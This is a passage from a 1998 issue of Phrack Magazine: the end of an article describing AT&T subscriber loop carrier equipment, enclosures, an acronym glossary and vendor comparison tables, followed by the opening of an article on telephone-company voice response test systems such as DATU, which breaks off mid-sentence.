|
||
|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |
|
||
|-----------------------------------------------------------------------|
|
||
|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |
|
||
|* |* |* |* | | *| *| *| *| *| *|* |* |* |* | |
|
||
|* |* |* |* | | *| *| | | *| *|* |* |* |* | |
|
||
|* |* |* |* | | | | | | | |* |* |* |* | |
|
||
|* |* |* |* | | *| | | | | *|* |* |* |* | |
|
||
| || | || | || | || | | || || || || || || || | || | || | || | |
|
||
| || | || | || | || | |!||!||!||!||!||!|| || | || | || | || | |
|
||
|-----------------------------------------------------------------------|
|
||
|AT&T|AT&T|AT&T|AT&T| |~~|~~|~~|~~|~~|~~|AT&T|AT&T|AT&T|AT&T| |
|
||
|* |* |* |* | | *| *| *| *| *| *|* |* |* |* | |
|
||
|* |* |* |* | | *| *| | | *| *|* |* |* |* | |
|
||
|* |* |* |* | | | | | | | |* |* |* |* | |
|
||
|* |* |* |* | | *| | | | | *|* |* |* |* | |
|
||
| || | || | || | || | | || || || || || || || | || | || | || | |
|
||
| || | || | || | || | |!||!||!||!||!||!|| || | || | || | || | |
|
||
+-----------------------------------------------------------------------+
|
||
|
||
|
||
High Density Fiber Optics Shelf (HDOS)
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
The HDOS interfaces between the electrical signals on the MDSs and
|
||
optical signals on the Multi-Services Distant Terminals (MSDTs).
|
||
|
||
The following diagram roughly illustrates an HDOS assembly:
|
||
|
||
+-------------------------------------------------------------------+
|
||
|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|~~|~~|~~|~~|AT&T|
|
||
|~~|~~|~~|~~| |~~|~~|~~|~~| |~~|~~|~~|~~| |~~|~~|~~|~~| |
|
||
| | | | | .| | | | | .| | | | | .| | | | | .|
|
||
| | | | | | | | | | | | | | | | | | | | |
|
||
| | | | | | | | | | | | | | | | | | | | |
|
||
|OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |OU|OU|OU|OU| |
|
||
| || || || || || || || || || || || || || || || || || || || ||
|
||
| || || || ||PCU|| || || || ||PCU|| || || || ||PCU|| || || || ||PCU||
|
||
|-------------------------------------------------------------------+
|
||
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|
||
|-------------------------------------------------------------------+
|
||
|1 AMP FUSES -------> == == == == == == == == |
|
||
+-------------------------------------------------------------------+
|
||
|
||
Note: An HDOS contains 8 Optical Unit (OU) / Power Conversion Unit (PCU)
|
||
packs, not 4 as shown in the ASCII diagram.
|
||
|
||
|
||
|
||
Alarm and Test Unit (ATU)
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
The ATU panel reports alarms and trouble indicators using audible
|
||
alarms, visual indicators, and telemetry. In addition, the ATU provides
|
||
interfaces to the Pair Gain Test Controller (PGTC) and DC bypass pair
|
||
connections.
|
||
|
||
An ATU panel looks roughly like this:
|
||
|
||
+---------------------------------------------------------------------+
|
||
| | | | | | | | | | * * |
|
||
| | | | | | | | | | * * |
|
||
| | | | | | | | | | * * |
|
||
+---------------------------------------------------------------------+
|
||
|
||
Here is a close-up of the indicator lights on the far right end of the
|
||
ATU:
|
||
|
||
+--------------+
|
||
| __ __ |
|
||
Fault ---> | |/ |/ | <-- Critical
|
||
| |
|
||
| __ __ |
|
||
Busy ---> | |/ |/ | <-- Major
|
||
| |
|
||
| __ __ |
|
||
Power Minor ---> | |/ |/ | <- Minor
|
||
| |
|
||
+--------------+
|
||
|
||
|
||
|
||
Fan Units and Heat Baffles
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
Fan units are used in RTs to provide cooling, while COTs use heat
|
||
baffles for the same purpose.
|
||
|
||
The fan unit looks in an RT looks something like this:
|
||
|
||
+-----------------------------------------------------------------------+
|
||
|*AT&T .| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
| ~* ~~| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
|~~ o ~~| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
| o ~~| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
|~ o ~~| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
| .| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
|~o | ============= |
|
||
+-----------------------------------------------------------------------+
|
||
|
||
|
||
A close-up of the far left end of the fan unit looks like this:
|
||
|
||
+------------------------+
|
||
| *AT&T o |
|
||
| +----------+ |
|
||
| FAULT * | CHANGE | |
|
||
| | FAN | |
|
||
|+--------+ SPEED | |
|
||
||LED O (10 MIN. | |
|
||
||TEST TIMEOUT)| |
|
||
|+-------------------+ |
|
||
| 10 - - 212 |
|
||
| + O 8 - - 176 |
|
||
| 6 - - 140 |
|
||
| TEMP 4 - - 104 |
|
||
| 2 - - 68 |
|
||
| - O 0 - - 32 |
|
||
| V F |
|
||
| C=10 * V |
|
||
| ESD o |
|
||
| ORD O |
|
||
+------------------------+
|
||
|
||
|
||
|
||
|
||
+-----------------------------+
|
||
| Where might you find an RT? |
|
||
+-----------------------------+
|
||
|
||
|
||
RTs are found in quite an interesting variety of enclosures, including
|
||
metal and cast concrete. Some are only large enough to hold the RT,
|
||
while others are environmentally controlled and large enough to hold the
|
||
equipment and several working technicians.
|
||
|
||
|
||
. 44A + 44B Cabinets
|
||
. WP-91071 Cabinet
|
||
. 51A cabinet
|
||
. 80D Cabinet (Community Service Vault)
|
||
. 80E Cabinet (Community Service Vault)
|
||
. Mini hut
|
||
. Maxi hut
|
||
. Concrete hut
|
||
. Controlled Environment Vault (CEV)
|
||
|
||
|
||
The 44A Cabinet is a wall mounted cabinet that requires a 44B Cabinet
|
||
to house the powering equipment.
|
||
|
||
WP-91071 Cabinet is a stand alone cabinet.
|
||
|
||
The 51A cabinet is 48" high by 29" wide by 20.5" deep. The 51A cabinet
|
||
consists of three sections: the front door, the electronics section,
|
||
and the battery section. The front door is hinged on the left and
|
||
opens to reveal the electronics section. The electronics section is
|
||
also hinged on the left, and opens to reveal the battery section.
|
||
|
||
The 80D Cabinet (Community Service Vault).
|
||
|
||
The 80E Cabinet (Community Service Vault).
|
||
|
||
The Mini hut is a prefabricated 6' by 10' by 8' high enclosure.
|
||
|
||
The Maxi hut, also known as the Electronic Equipment Enclosure (EEE) is
|
||
a prefabricated 10' by 20' by 8' high environmentally controlled
|
||
enclosure.
|
||
|
||
The Concrete Hut is 13' 2" by 7' 7 and 8' 8.5" high. The walls of the
|
||
Concrete Hut are made of precast concrete and are 4" thick. The inside
|
||
of the Concrete Hut is ventilated, heated and air conditioned. The
|
||
Concrete Hut is protected by intrusion alarms, smoke alarms, and high
|
||
temperature alarms.
|
||
|
||
The Controlled Environment Vault (CEV) is a precast concrete enclosure
|
||
designed for installation below ground. The CEV is cast in three parts:
|
||
the bottom half, the top half, and the entrance hatch. The entrance to
|
||
a CEV shows a ladder leading down into the enclosure. The CEV is the
|
||
ultimate in environmental control. In addition to ventilation, heating
|
||
and optional air conditioning, the CEV also features a gas monitor that
|
||
senses explosive and toxic gasses, a dehumidifier, and a sump pump. The
|
||
CEV is lit by four fluorescent lamps backed up by an emergency lamp. The
|
||
CEV is protected by a gas alarm, a high temperature alarm, a
|
||
high-humidity alarm, a power-loss alarm, a high-water alarm and an
|
||
intrusion alarm.
|
||
|
||
|
||
|
||
|
||
+--------------------------------------------------------------+
|
||
| Enclosure | Systems | Dual Channel Banks | Lines |
|
||
|------------------+---------+--------------------+------------+
|
||
| 44A+44B Cabinets | 2 | 1 | 192 |
|
||
| WP-91071 Cabinet | 4 | 2 | 394 |
|
||
| 51A Cabinet | 2 | 1 | 192 |
|
||
| 80D Cabinet | 4 | 2 | 384 |
|
||
| 80E Cabinet | 8 | 4 | 768 |
|
||
| Concrete Hut | 32(36) | 16(18) | 3072(3456) |
|
||
| CEV (16') | 40(44) | 20(22) | 3840(4224) |
|
||
| CEV (24') | 60(78) | 30(39) | 5760(7488) |
|
||
| EEE | 72(78) | 36(29) | 6912(7488) |
|
||
+--------------------------------------------------------------+
|
||
|
||
Note: Number in parenthesis are applicable only to systems using bulk power.
|
||
|
||
|
||
|
||
|
||
|
||
+------------------------+
|
||
| SLC Interface Software |
|
||
+------------------------+
|
||
|
||
|
||
+--------------+
|
||
| SLC Glossary |
|
||
+--------------+
|
||
|
||
|
||
A&M Addition and Maintenance
|
||
ACO Alarm Cut Off
|
||
ACU Alarm Control Unit
|
||
ACXT Apparatus Case Crosstalk
|
||
ADPCM Adaptive Differential Pulse Code Modulation
|
||
ADU Alarm Display Unit
|
||
AIU Alarm Interface Unit
|
||
ALBO Automatic Line Build Out
|
||
ALC Automatic Loss Compensation
|
||
ALIT Automatic Line Insulation Test
|
||
AMD Alphanumeric Message Display
|
||
ANI Automatic Number Identification
|
||
ASN Abstract Syntax Notation
|
||
ASU Alarm Suppressor Unit
|
||
ATU Alarm and Test Unit
|
||
AWC Average Worst Case
|
||
B-E Both-Ends
|
||
B8ZS Bipolar with 8 Zero Substitution
|
||
BCU Bank Controller Unit
|
||
BFU Bank Fuse Unit
|
||
BIU Backplane Interface Unit, Bank Interface Unit
|
||
BMP Bandwidth Management Processor
|
||
CAU Craft Access Unit, Channel Access Unit
|
||
CCITT International Telephone and Telegraph Consultative Committee
|
||
CCS Hundred Call Seconds
|
||
CDO Community Dial Office
|
||
CDS Circuit Design System
|
||
CENTREX Central Office Exchange Service
|
||
CEV Controlled Environment Vault
|
||
CFU Channel Fuse Unit
|
||
CIMAP Circuit Installation and Maintenance Package
|
||
CIR Customer Information Release
|
||
CIT Craft Interface Terminal
|
||
CIU Craft Interface Unit
|
||
CLC Common Language Coordinator
|
||
CLEI Common Language Equipment Identification
|
||
CLF Carrier Line Failure
|
||
CLLI Common Language Location Identification
|
||
CLRC Circuit Layout Record Card
|
||
CMC Construction Management Center
|
||
CMIS Common Management Information System
|
||
CND Calling Number Delivery
|
||
CO Central Office
|
||
COACH Customized On-line Aid for Customer Help
|
||
CODEC Coder/Decoder
|
||
COE Central Office Engineer
|
||
COT Central Office Terminal
|
||
CP Circuit Pack
|
||
CPC Circuit Provisioning Center
|
||
CPI Circuit Party Identification
|
||
CRC Cyclic Redundancy Check, Circuit Redundancy Code
|
||
CSA Carrier Serving Area
|
||
CSC Community Service Cabinet
|
||
CSDC Circuit Switched Digital Capability
|
||
CSPEC Common Systems Planning and Engineering Center
|
||
CSS Controlled Slip Second
|
||
CTB Cut Through Board
|
||
CTU Channel Test Unit
|
||
CU Channel Unit
|
||
CUE Channel Unit Emulator
|
||
CV Coding Violation
|
||
CWG Construction Work Group
|
||
CZ Carrier Zone
|
||
DA Distribution Area
|
||
DACS Digital Access Cross-connect System
|
||
DCC Data Communications Channel
|
||
DCLU Digital Carrier Line Unit
|
||
DCU Digital Connectivity Units
|
||
DDF Digital Digroup Formatter
|
||
DDS Digital Data Service
|
||
DF Distributing Frame
|
||
DFI Digital Facilities Interface
|
||
DID Direct Inward Dial
|
||
DILEP Digital Line Engineering Program
|
||
DLC Digital Loop Carrier
|
||
DLI Data Link Interface
|
||
DLP Detailed Level Procedure
|
||
DLR Design Layout Record
|
||
DLS Digital Line Schematic
|
||
DLU Data Link Unit
|
||
DM Degraded Minute
|
||
DPO Dial Pulse Originating
|
||
DPT Dial Pulse Terminating
|
||
DPX DATAPATH Extension
|
||
DR Demand Repeater
|
||
DS0 Digital Signal 0, Data Service 0
|
||
DS0DP Digital Signal 0 Dataport
|
||
DS1 Digital Signal 1 (1.544 MB/s)
|
||
DSDC Distribution Services Design Center
|
||
DSL Digital Subscriber Line
|
||
DSNE Directory Services Network Element
|
||
DSPC Distribution Services Planning Center
|
||
DST Digital Signal Translator
|
||
DSU Data Service Unit
|
||
DSX Digital Service Cross-connect
|
||
DT Distant Terminal
|
||
DTU Digital Test Unit
|
||
E Ear
|
||
EASOP Economic Alternative Selection for Outside Plant
|
||
ECCR Exchange Customer Cable Record
|
||
EEC Electronic Equipment Enclosure
|
||
EEC Equipment Engineering Center
|
||
EFPA Enhanced Feature Package A
|
||
EFPB Enhanced Feature Package B
|
||
EFPC Enhanced Feature Package C
|
||
EFPD Enhanced Feature Package D
|
||
EFRAP Exchange Feeder Route Analysis Program
|
||
EJO Engineering Job Order
|
||
ELIU Electrical Line Interface Unit
|
||
EMO Expected Measured Loss
|
||
EOC Embedded Operations Channel
|
||
ES Errored Seconds
|
||
ESD ElectroStatic Discharge
|
||
ESF Extended Super Frame
|
||
ESPORTS Extended Super POTS
|
||
EWC Extreme Worst Case
|
||
EWO Engineering Work Order
|
||
FA Feeder Administration
|
||
FAC Facility Assignment and Control Center
|
||
FACS Facility Assignment and Control System
|
||
FAP Facility Analysis Plan
|
||
FCS Frame Checking Sequence
|
||
FCU Fan Control Unit
|
||
FDI Feeder Distribution Interface
|
||
FDL Facility Data Link
|
||
FE Far End
|
||
FELP Far End LooP
|
||
FEMF Foreign Potential
|
||
FEXT Far End Crosstalk
|
||
FITL Fiber In The Loop
|
||
FL Fault Locating
|
||
FLTA Fault Locate Test Adapter
|
||
FPA Feature Package A
|
||
FPB Feature Package B
|
||
FPC Feature Package C
|
||
FPD Feature Package D
|
||
FPS Framing Pattern Sequence
|
||
FSM Fiber Service Module
|
||
FSR Frequency Selective Ringing
|
||
FSS Fiber Service Shelf
|
||
FTTH Fiber To The Home
|
||
FX Foreign Exchange
|
||
FXO Foreign Exchange Office
|
||
FXS Foreign Exchange Station
|
||
GNE Gateway Network Element
|
||
GS Ground Start
|
||
HDIC High Density Interconnect
|
||
HDOS High Density Optics Shelf
|
||
HDT Host Digital Terminal
|
||
HTR Heater
|
||
IBN Integrated Business Network
|
||
IDCU Integrated Digital Carrier Unit
|
||
IDF Intermediate Distributing Frame
|
||
INA Integrated Network Access
|
||
IOP Input/Output Processor
|
||
ISD Isolation Diagram
|
||
ISDN Integrated Services Digital Network
|
||
ISLU Integrated Services Line Unit
|
||
ITH Integral Test Head
|
||
LAC Loop Assignment Center
|
||
LAN Link to Alarm and Networks
|
||
LBO Line Build Out
|
||
LBRV Low Bit Rate Voice
|
||
LCRIS Loop Cable Record Inventory System
|
||
LDS Local Digital Switch
|
||
LDU Load Distribution Unit
|
||
LEC Loop Electronic Coordinator
|
||
LED Light Emitting Diode
|
||
LFACS Loop Facility Assignment and Control System
|
||
LFC Line Feeder Converter
|
||
LFU Line Fuse Unit
|
||
LIC Lightguide Interconnect Cable
|
||
LIT Line Insulation Test
|
||
LIU Line Interface Unit
|
||
LM Loop Multiplexer
|
||
LMOS Loop Maintenance Operating System
|
||
LOF Loss Of Frame
|
||
LOS Loss Of Second
|
||
LP Low Power
|
||
LRAP Long Route Analysis Program
|
||
LRD Long Route Design
|
||
LROPP Long Range Outside Plant Plan
|
||
LRT Local Remote Terminal
|
||
LS Loop Start
|
||
LSI Line Side In
|
||
LSO Line Side Out
|
||
LSS Loop Switching System
|
||
LSU Line Switching Unit
|
||
LT Line Terminal
|
||
LTC Local Test Cabinet
|
||
LTD Local Test Desk
|
||
M Mouth
|
||
MC Maintenance Center
|
||
MCC Master Control Center
|
||
MD Manufacture Discontinued
|
||
MDF Main Distributing Frame
|
||
MDS Metallic Distribution Shelf
|
||
MH Man Hole
|
||
MIU Metallic Interface Unit, Maintenance Interface Unit
|
||
MJ Major
|
||
MLT Mechanized Loop Testing
|
||
MM Material Management
|
||
MN Minor
|
||
MPP Miscellaneous Pair Panel
|
||
MR Meter Reading
|
||
MSDT Multi-Services Distant Terminal
|
||
MTS Message Telephone Service
|
||
MVEC Majority Vote Error Correction
|
||
MWC Maintenance Work Center
|
||
MWG Maintenance Work Group
|
||
MWI Message Waiting Indication
|
||
MXU Multiplexer Unit
|
||
NAB Network Alarm Bus
|
||
NAIU Network Access Interface Unit
|
||
NCTE Network Channel Terminating Equipment
|
||
NE Near End
|
||
NEXT Near End Crosstalk
|
||
NIDB Network Interface Data Bus
|
||
NIU Network Interface Unit
|
||
NM New Manhole
|
||
NMA Network Monitoring and Analysis
|
||
NPA Numbering Plan Area
|
||
NT Network Termination
|
||
NTEC Network Terminal Equipment Center
|
||
NTP Non Trouble-Clearing Procedure
|
||
OCU Office Channel Unit
|
||
OCUDP Office Channel Unit Dataport
|
||
OHCTL Overhead Controller
|
||
OHT On-hook Transmission
|
||
OIC Optical Interconnect
|
||
OIU Office Interface Unit
|
||
OLIU Optical Line Interface Unit
|
||
ONI Operator Number Identification
|
||
ONU Optical Network Unit
|
||
OOS Out Of Service
|
||
OPE Outside Plant Engineer
|
||
OPS Off Premise Station
|
||
OPS/INE Operations System/Intelligent Network Element
|
||
ORB Office Repeater Bay
|
||
OSP Outside Plant
|
||
OSPE Outside Plant Engineer
|
||
OTU Office Timing Unit
|
||
OU Optical Units
|
||
OW Order Wire
|
||
PAM Pulse Amplitude Modulation
|
||
PAU Power Amplifier Unit
|
||
PBX Private Branch Exchange
|
||
PCM Pulse Code Modulation
|
||
PCU Power Converter Unit
|
||
PDC Provisioning Display Controller
|
||
PG Pair Gain
|
||
PGD Pair Group Display
|
||
PGP Pair Group Planning
|
||
PGS Pair Gain System
|
||
PGTC Pair Gain Test Controller
|
||
PIC Polyethylene Insulated Conductor
|
||
PICS Plug-in Inventory Control System
|
||
PMN Power Minor
|
||
PMO Present Mode of Operation
|
||
POTS Plain Old Telephone Service
|
||
PRU Positive Ringing Unit
|
||
PTAB Port Test Alarm Bus
|
||
PU Power Unit
|
||
PWB Printed Wiring Board
|
||
R&R Remove and Reinstall
|
||
RCU Ring Control Unit
|
||
RCVG Receiving
|
||
RDES Remote Data Entry System
|
||
REN Ringer Equivalency Number
|
||
RLS Repeater Location Schematic
|
||
RMU Remote Measurement Unit, Remote Maintenance Unit
|
||
ROS Remote Operations Service
|
||
RPFT Remote Power Feed Terminal
|
||
RSB Repair Service Bureau
|
||
RSM Remote Switching Module
|
||
RT Remote Terminal
|
||
RTS Remote Test System
|
||
RTU Remote Test Unit
|
||
RZ Resistance Zone
|
||
S&E Service and Equipment
|
||
S-E Signal-End
|
||
S/I Signal to Interference
|
||
S/N Signal to Noise
|
||
S1DN Stage One Distributing Network
|
||
S1DP Stage One Distributing Panel
|
||
SAI Serving Area Interface
|
||
SARTS Switched Access Remote Testing System
|
||
SB Signal Battery
|
||
SCC Switching Control Center
|
||
SCCS Switching Control Center System
|
||
SCEC Secondary Channel Error Correction
|
||
SDDF Subscriber Digital Distributing Frame
|
||
SDFI Subscriber Digital Facility Interface
|
||
SDH Synchronous Digital Hierarchy
|
||
SDX Subscriber Digital Crossconnect
|
||
SEFS Severely Errored Framing Second
|
||
SES Severely Errored Seconds
|
||
SF Super Frame
|
||
SFIU Switching Facility Interface Unit
|
||
SG Signal Ground
|
||
SID System IDentification
|
||
SLC Subscriber Loop Carrier
|
||
SLIM Subscriber Line Interface Module
|
||
SM Switching Module
|
||
SMAS Switched Maintenance Access System
|
||
SMU System Memory Unit
|
||
SO Service Order
|
||
SONET Synchronous Optical Network
|
||
SP Standard Power, Special Protection
|
||
SPGM Suburban Pair Gain Planning
|
||
SPGPM Suburban Pair Gain Planning Method
|
||
SPOTS Special Plain Old Telephone Service
|
||
SPR Superimposed Ringing
|
||
SPTS Signaling Path Test Set
|
||
SSC Special Service Center
|
||
SSP Special Service Protection
|
||
SSU Special Service Unit
|
||
STIU Switching Transmission Interface Unit
|
||
STM Span Terminating Module
|
||
STS Synchronous Transport Signal
|
||
SXS Step-by-Step
|
||
SYSCTL System Controller
|
||
T-BRITE T-Basic Rate Interface Transmission Extension
|
||
TAD Trouble Analysis Data
|
||
TAP Trouble Analysis Procedure
|
||
TASC Telecommunications Alarm Surveillance Control System
|
||
TASX Telecommunications Alarm Surveillance and Control System
|
||
TAU Time Assignment Unit
|
||
TBCU Test Bus Control Unit
|
||
TBOS Telemetry Byte-Oriented Serial
|
||
TCU TransCoder Unit
|
||
TD Toll Diversion
|
||
TDM Tandem
|
||
TFD Trunk Distributing Frame
|
||
TFIU Transmission Facility Interface Unit
|
||
TGS Synchronous Timing Generator
|
||
THC Test Head Controller
|
||
TIRKS Trunk Inventory and Record Keeping System
|
||
TLWS Trunk Line Work Station
|
||
TMC Time slot Management Channel
|
||
TMT Transmission Maintenance Terminal
|
||
TNO The New Order
|
||
TNOP Total Network Operating Plan
|
||
TO Transmission Only
|
||
TOC Task Oriented Costing
|
||
TOP Task Oriented Procedure
|
||
TPI Tip Party Identification
|
||
TRMTG Transmitting
|
||
TRU Transmit/Receive Unit
|
||
TSI Time Slot Interchange
|
||
TSU Transmission Signaling Unit
|
||
UAS UnAvailable Second
|
||
UIP User Interface Panel
|
||
UL Underwriters Laboratory
|
||
UNICCAP Universal Cable Circuit Analysis Program
|
||
USDL U-interface Digital Subscriber Line
|
||
VF Voice Frequency
|
||
VRT Virtual Remote Terminal
|
||
VT Virtual Tributary
|
||
VTU Virtual Tributary Unit
|
||
WATS Wide Area Telephone Service
|
||
WC Wire Center
|
||
WCPC Wire Center Planning Center
|
||
WES Warranty Eligibility System
|
||
WORD Work Order Record Details
|
||
XADU eXtended Alarm Display Unit
|
||
XTC eXtended Test Controller
|
||
ZCS Zero Code Suppression
|
||
|
||
|
||
+-------------+
|
||
| SLC Vendors |
|
||
+-------------+
|
||
|
||
|
||
AT&T
|
||
12450 Fair Lakes Cir
|
||
Ste 302
|
||
Fairfax, VA 22033
|
||
Phone: (703) 802-3853
|
||
Fax: (703) 802-3853
|
||
|
||
+----------------------------------------------------------+
|
||
| | SLC-5 | SLC-2000 |
|
||
+----------------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | 192 | 768 |
|
||
| Remote Terminal (qty. per 7-ft. size) | 3 | 1 |
|
||
| Remote Inventory and Diagnostics | Y | Y |
|
||
| Identical Plug-ins for RT and COT | Y | Y |
|
||
| Max. DS1 Span Lines Supported | 24 | 28 |
|
||
| Max. DS1 Span Lines Powered/Protected | 24 | 28 |
|
||
| Integrated DS-3 Interface | N | N |
|
||
| Integrated Sonet Interface | | OC-3 |
|
||
| TR-008 Compatible Mode | Y | Y |
|
||
| TR-303 Compatible Mode | Y | Y |
|
||
+----------------------------------------------------------+
|
||
|
||
|
||
|
||
Fujitsu Network Communications Inc
|
||
2801 Telecom Parkway
|
||
Richardson, TX 75082
|
||
Phone: (800) 777-3278
|
||
Fax: (214) 479-6990
|
||
|
||
+------------------------------------------------------+
|
||
| | FDLC | FACTR |
|
||
+------------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | 192 | 1920 |
|
||
| Remote Terminal (qty. per 7-ft. size) | 4 | 5 |
|
||
| Remote Inventory and Diagnostics | Y | Y |
|
||
| Identical Plug-ins for RT and COT | Y | Y |
|
||
| Max. DS1 Span Lines Supported | 8 | 28 |
|
||
| Max. DS1 Span Lines Powered/Protected | 0 | 0 |
|
||
| Integrated DS-3 Interface | N | N |
|
||
| Integrated Sonet Interface | N | Y |
|
||
| TR-008 Compatible Mode | Y | Y |
|
||
| TR-303 Compatible Mode | N | Y |
|
||
+------------------------------------------------------+
|
||
|
||
|
||
|
||
NEC America Inc
|
||
14040 Park Center Rd
|
||
Herndon, VA 22071
|
||
Phone: (703) 834-4000
|
||
Fax: (703) 834-4306
|
||
|
||
+-------------------------------------------------+
|
||
| | ISC-303 |
|
||
+-------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | 192 |
|
||
| Remote Terminal (qty. per 7-ft. size) | 10 |
|
||
| Remote Inventory and Diagnostics | Y |
|
||
| Identical Plug-ins for RT and COT | Y |
|
||
| Max. DS1 Span Lines Supported | 5 |
|
||
| Max. DS1 Span Lines Powered/Protected | 0 |
|
||
| Integrated DS-3 Interface | N |
|
||
| Integrated Sonet Interface | |
|
||
| TR-008 Compatible Mode | Y |
|
||
| TR-303 Compatible Mode | Y |
|
||
+-------------------------------------------------+
|
||
|
||
|
||
|
||
Northern Telecom, Inc.
|
||
Northern Telecom Limited
|
||
8220 Dixie Road
|
||
Suite 100
|
||
Brampton, Ontario
|
||
L6T 5P6 Canada
|
||
Phone: (905)863-0000
|
||
Phone: (800)4-NORTEL
|
||
|
||
+-------------------------------------------------------------------+
|
||
| | DMS-1 Urban | Access Node |
|
||
+-------------------------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | 544 | 672 |
|
||
| Remote Terminal (qty. per 7-ft. size) | 0 | 1 |
|
||
| Remote Inventory and Diagnostics | Y | Y |
|
||
| Identical Plug-ins for RT and COT | Y | Y |
|
||
| Max. DS1 Span Lines Supported | 8 | 28 |
|
||
| Max. DS1 Span Lines Powered/Protected | 8 | 0 |
|
||
| Integrated DS-3 Interface | N | Y |
|
||
| Integrated Sonet Interface | N | Y |
|
||
| TR-008 Compatible Mode | Y | Y |
|
||
| TR-303 Compatible Mode | N | Y |
|
||
+-------------------------------------------------------------------+
|
||
|
||
|
||
|
||
|
||
RELTEC Corp
|
||
5875 Landerbrook Dr
|
||
Cleveland, OH 44124
|
||
Phone: (216)460-3600
|
||
Fax: (216)460-3690
|
||
+----------------------------------------------------------------------------+
|
||
| | DISCS 1 | Sonet DISCS | DISCS FITL |
|
||
+----------------------------------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | 672 | 2016 | 0 |
|
||
| Remote Terminal (qty. per 7-ft. size) | 672 | 672 | 672 |
|
||
| Remote Inventory and Diagnostics | Y | Y | Y |
|
||
| Identical Plug-ins for RT and COT | Y | Y | Y |
|
||
| Max. DS1 Span Lines Supported | 28 | 84 | 84 |
|
||
| Max. DS1 Span Lines Powered/Protected | 0 | 0 | 0 |
|
||
| Integrated DS-3 Interface | N | N | N |
|
||
| Integrated Sonet Interface | N | Y | Y |
|
||
| TR-008 Compatible Mode | Y | Y | Y |
|
||
| TR-303 Compatible Mode | Y | Y | Y |
|
||
+----------------------------------------------------------------------------+
|
||
|
||
|
||
|
||
Siescor Technologies, Inc. (A division of Raytheon)
|
||
Box 470580
|
||
Tulsa, OK 74147-0580
|
||
Phone: (918)252-1578
|
||
Fax: (918)252-2757
|
||
E-Mail: seiscor@raytheon.com
|
||
+-----------------------------------------------------------------------+
|
||
| | FiberTraq | S-24DU | RLC-1920 |
|
||
+-----------------------------------------------------------------------+
|
||
| Maximum No. Subscriber Ports | | | 1920 |
|
||
| Remote Terminal (qty. per 7-ft. size) | | | |
|
||
| Remote Inventory and Diagnostics | | | |
|
||
| Identical Plug-ins for RT and COT | | | |
|
||
| Max. DS1 Span Lines Supported | | | |
|
||
| Max. DS1 Span Lines Powered/Protected | | | |
|
||
| Integrated DS-3 Interface | | | |
|
||
| Integrated Sonet Interface | | | |
|
||
| TR-008 Compatible Mode | | | |
|
||
| TR-303 Compatible Mode | | | |
|
||
+-----------------------------------------------------------------------+
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 12 of 20
|
||
|
||
|
||
-------------------------[ Voice Response Systems
|
||
|
||
|
||
--------[ Voyager[TNO]
|
||
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
I................................................................ Overview
|
||
II............................................................... DATU
|
||
III.............................................................. SOLTS
|
||
IV............................................................... FAST
|
||
V................................................................ Conclusion
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
|
||
|
||
+----------+
|
||
+ Part I +
|
||
+ +
|
||
+ -- +
|
||
+ +
|
||
+ Overview +
|
||
+----------+
|
||
|
||
|
||
A VRS (Voice Response System) is a computer system that is called using
|
||
a normal DTMF (Dual-Tone Multi-Frequency) telephone and interacted with
|
||
by speaking or by pressing buttons on the telephone keypad.
|
||
|
||
This article will discuss three such systems which are used by LLC Local
|
||
Loop Carriers (LLCs) to maintain the Public Switched Telephone Network
|
||
(PSTN). The systems are:
|
||
|
||
. DATU
|
||
. SOLTS
|
||
. FAST
|
||
|
||
|
||
+-------------------------------------+
|
||
+ Part II +
|
||
+ +
|
||
+ -- +
|
||
+ +
|
||
+ DATU LC/RT Loop Conditioning System +
|
||
+-------------------------------------+
|
||
|
||
|
||
I. Introduction
|
||
II. Features
|
||
III. Usage
|
||
IV. Part Numbers
|
||
|
||
|
||
Introduction
|
||
~~~~~~~~~~~~
|
||
|
||
The Harris Corporation's DATU Loop Conditioning System combines a full
|
||
range of advanced features with unmatched versatility to help maximize
|
||
field testing and conditioning capabilities. The DATU system extends the
|
||
field technicians testing capabilities of subscriber lines through the
|
||
non-metallic environment of a pair gain system.
|
||
|
||
DATU is a printed wiring card that employs micro-processor control of
|
||
test functions and provides voice prompting. The card is installed in
|
||
the Metallic Facility Terminal (MFT) frame and connected through a
|
||
No-Test trunk to a switching facility. It may be used with most types of
|
||
Central Offices (CO) including SXS, Crossbar, ESS and DMS.
|
||
|
||
The DATU system can include the Pair Gain Applique (PGA) II, located
|
||
with the DATU system at the CO, and the Metallic Access Unit (MAU),
|
||
which is mounted within a remote terminal.
|
||
|
||
PGA units allow testing of subscriber lines being served through an
|
||
SLC-96 pair gain system. The PGA provides an interface between the DATU
|
||
and a Pair Gain Control Unit. The DATU will transmit tones to assist in
|
||
determining the status of the carrier channel. When a subscriber line is
|
||
being served by a pair-gain-system and the DATU is used to test it, a
|
||
warble tone is heard. The warble tone is followed by either a single
|
||
